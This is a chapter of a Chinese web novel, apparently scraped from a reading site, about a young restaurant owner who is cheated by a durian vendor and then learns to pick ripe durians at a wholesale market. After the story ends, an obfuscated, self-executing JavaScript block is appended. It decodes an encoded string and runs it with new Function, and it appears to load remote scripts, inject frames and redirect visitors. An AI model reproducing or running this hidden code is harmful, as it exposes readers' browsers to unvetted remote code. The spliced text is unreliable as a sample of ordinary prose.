御厨小饭馆[美食]第34节(1 / 2)

御厨小饭馆[美食] 固欢 2019 字 2023-11-10

第40章

“白老板,你又要出去啊?”

见白香凝一把拉开厨房门,一副风风火火的样子,乔萍疑惑道。

白香凝来不及多说,拎着有酒精味的榴莲果肉,然后丢下一句“我要去找刚刚卖榴莲的摊贩”就跑了出去。

不能怪她着急,实在是这种在外?面摆摊做生意的太不稳定,往往摆一段时间就收摊了。白香凝回来的时候,摊位上?的榴莲已经卖的差不多,她回来又?在店里耽搁了一会儿,不知道现在去还能不能找到那个摊贩。

等她到了刚刚买榴莲的地方,看着空空如也的路口,并?没有太惊讶。

果然还是没有赶上?,那?摊贩估计已经卖完了榴莲,早早收摊回家了。

旁边有个卖鸡蛋的大婶见?她神色匆匆,手里还提着一袋榴莲,主动攀谈道:“姑娘,你是不是刚刚在这买榴莲来着?”

白香凝闻言对大婶说道:“是啊,我第一次买榴莲,没有经验,结果那?摊贩卖给我一个坏榴莲,吃一口都是酒精味。”

大婶听得直摇头,“哎呦,那?个黑心玩意儿,都不知道骗了多少人了,他?肯定是看你年纪轻轻好骗,所以特意卖给你坏榴莲。”

白香凝四?处看了看,对大婶说道:“大婶,那?摊贩是不是收摊回去了?”

一说到这,大婶脸上?露出解气的神情,她啐了一口说道:“他?刚要收摊就被?城管给带走啦!”

“是因为卖给客人坏的榴莲?”

大婶说道:“呦,那?可不止!那?人卖榴莲还缺斤少两呢!他?打着19.8一斤的名头吸引顾客来买他?的榴莲,其实啊,那?秤上?做了手脚!”

大婶喝了口水又?继续说道:“你观察一下,他?是不是都让顾客在摊子上?把榴莲开好带回去?那?是因为把榴莲壳一剥,别人就找不到证据证明他?缺斤少两了!这人做生意不诚信,心眼子坏着呢!”

白香凝不解:“那?他?这次是怎么栽了跟头?”

“有个老太太在他?这买了榴莲,死活不让他?剥,非要带回去自?己剥,结果人家回去一称,比在他?这称得少了一斤多,人家可不就回来找他?了,正好城管在附近,就把他?给抓了起来!”

大婶说道:“超市里的榴莲都卖二十多,他?这里卖这么便宜肯定是有猫腻啊!他?在大庭广众之下坐上?了城管的车,估计以后这附近都没人敢在他?那?买榴莲了,也算是糟了报应。”

她看着白香凝手里拎着的榴莲,说道:“姑娘,你本来也是打算找他?要说法的吧?可惜他?人已经被?抓,你这坏榴莲估计只能自?认倒霉了。”

摊贩已经受到了应有的惩罚,那?她这个榴莲也没必要再?留着,于?是白香凝将手上?的坏榴莲扔进了垃圾桶,就当?买了个教训。

吃一堑长一智,当?天?晚上?,小饭馆打烊之后,白香凝就开始埋头研究如何挑选榴莲。

在看了几十个开榴莲视频之后,她慢慢摸索到了一定规律。

于?是第二天?她就去了附近最大的水果市场,准备将自?己前一天?晚上?学到的知识应用到实践之中?。

水果市场里做的基本都是批发生意,不太需要像路边摊一样热情拉拢客人,都是熟客们直接联系他?们定。

摊贩们三三两两凑在一起闲聊,有的甚至还凑了一桌在打麻将。

整个环境嘈杂而?凌乱,但是水果的种类是真多。

白香凝站在门口并?没有看到有卖榴莲的,不过榴莲的味道重,她循着味道便找到了卖榴莲的摊位。

见?到白香凝,摊贩也只是懒洋洋地抬起眼皮问了句,“批发还是零售?”

“我先?买几个试试。”

“零售价格26一斤,自?己挑,挑好了我给你称。”

榴莲装在大卡车上?,码放得整整齐齐,大部分榴莲呈现黄青色,有一些裂口的榴莲被?摊贩挑了出来,放到了旁边的筐子里,这些榴莲的外?壳已经完全变成了深黄色。

裂很大口子的榴莲绝对不能买,这种榴莲往往是熟过了头,果肉长时间暴露在空气中?,里面不知道滋生了多少细菌,果肉就算没有变质,也离变质不远了,吃起来会有一种酒精味。

这是白香凝花了一百多块钱得到的经验。

于?是白香凝看都没看筐子里的榴莲,转头认真挑选起卡车上?的榴莲来。

先?是观察榴莲的外?形,饱满如荔枝一样的形状最好,这样的果型出肉率比较高。

白香凝大概选中?了几个果型不的榴莲,下一步就是闻它们的味道。

没有剥开的榴莲闻什么呢?凑近闻外?壳底部,如果闻到比较浓的香甜味,那?就说明这个榴莲可以下手,如果闻着是一股青草味,那?里面的榴莲肉就没有熟。

判断一个榴莲的生熟也比较简单,可以捏一下榴莲外?壳相邻的两根刺,如果可以很容易并?拢在一起,那?榴莲就已经成熟了。又?或者捧起一个榴莲轻轻摇晃一下,成熟的榴莲可以微微听到果肉晃动的声音。

这都是白香凝看了好多视频总结出来的方法,按照这些方法,她精挑细选出五个榴莲,然后递给老板。

“老板,麻烦帮忙称一下。”

刚刚白香凝在挑选榴莲的时候,摊贩一直靠在躺椅上?看视频,见?白香凝喊他?,他?应了一声,转过头去看白香凝选的榴莲。

“哎呦,小姑娘,你这榴莲挑得不行,都没熟呢!”摊贩站了起来,把旁边的筐子往白香凝那?里踢了踢,说道:“你看看这筐子里的,这些可都是我精心选出来的已经完全成熟的榴莲,你把这些买回去,保管满意!”

白香凝默了默。

上?一个这么和她说的,现在估计已经在局子里喝茶了。

见?白香凝不为所动,摊贩还想再?说,但白香凝打断了他?的话,“不用,我就买这几个,帮我称吧。”

摊贩接过白香凝手里的榴莲,转头背对着她给这些榴莲称重,他?一脸肉痛的表情,心想这姑娘看着年纪轻轻的,可一点也不好忽悠。

筐子里的确实都是完全成熟的榴莲,可问题就在于?太熟了,多放一段时间可能就会变质,他?打着小算盘,以为可以骗白香凝买下这些即将变质的榴莲,可白香凝完全没有上?当?。

摊贩刚刚一看她自?己选的榴莲,就意识到她可能是个行家。太小的榴莲肉少,而?太大的榴莲壳会比较厚,而?她选的榴莲个头适中?,不大不小。

最关键的是,这几个榴莲果型也非常完美。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();